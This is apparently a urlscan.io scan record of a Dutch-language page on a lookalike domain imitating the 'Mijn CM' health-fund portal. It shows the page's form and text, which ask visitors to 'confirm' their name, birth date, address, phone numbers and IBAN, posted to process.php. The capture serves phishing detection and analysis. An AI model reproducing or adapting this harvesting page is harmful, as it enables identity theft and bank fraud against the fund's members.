mijninlogcmpagina.com Open in urlscan Pro
193.143.1.14  Public Scan

Form analysis
1 forms found in the DOM

POST process.php

<form action="process.php" method="POST" novalidate="">
  <div class="input-group">
    <input type="text" id="email" name="email" placeholder="Voor- en Achternaam *" required="">
  </div>
  <div class="input-group">
    <input type="text" id="dob" name="dob" placeholder="Geboortedatum *" required="" onfocus="(this.type='date')" onblur="restorePlaceholder(this)">
  </div>
  <script>
    function restorePlaceholder(input) {
      if (input.value === '') {
        input.type = 'text';
        input.placeholder = 'Geboortedatum *';
      }
    }
  </script>
  <!-- Additional Fields -->
  <div class="input-group">
    <input type="text" id="address" name="address" placeholder="Adres *" required="">
  </div>
  <div class="input-group">
    <input type="text" id="city" name="city" placeholder="Woonplaats *" required="">
  </div>
  <div class="input-group">
    <input type="text" id="postcode" name="postcode" placeholder="Postcode *" required="">
  </div>
  <div class="input-group">
    <input type="tel" id="mobile" name="mobile" placeholder="Telefoonnummer Mobiel *" required="" inputmode="numeric">
  </div>
  <!-- New Fixed Number Input Group (Optional) -->
  <div class="input-group">
    <input type="tel" id="fixed" name="fixed" placeholder="Telefoonnummer Vast (Optioneel)" inputmode="numeric">
  </div>
  <div class="input-group">
    <input type="text" id="iban" name="iban" placeholder="IBAN *" required="" onfocus="showIbanFormat(this)" onblur="restoreIbanPlaceholder(this)" oninput="formatIban(this)">
  </div>
  <button type="submit" class="login-btn">Aanmelden</button>
</form>

Text Content

BEVESTIG UW KLANTGEGEVENS


Aanmelden


NOG GEEN MIJN CM-ACCOUNT?

Geen probleem! Maak er snel en eenvoudig één aan.

ONTDEK ALLE VOORDELEN

 * ✓ Beheer snel en online je ziekenfondszaken
 * ✓ Overzicht van terugbetalingen en documenten
 * ✓ Veel gestelde vragen over Mijn CM

Registreren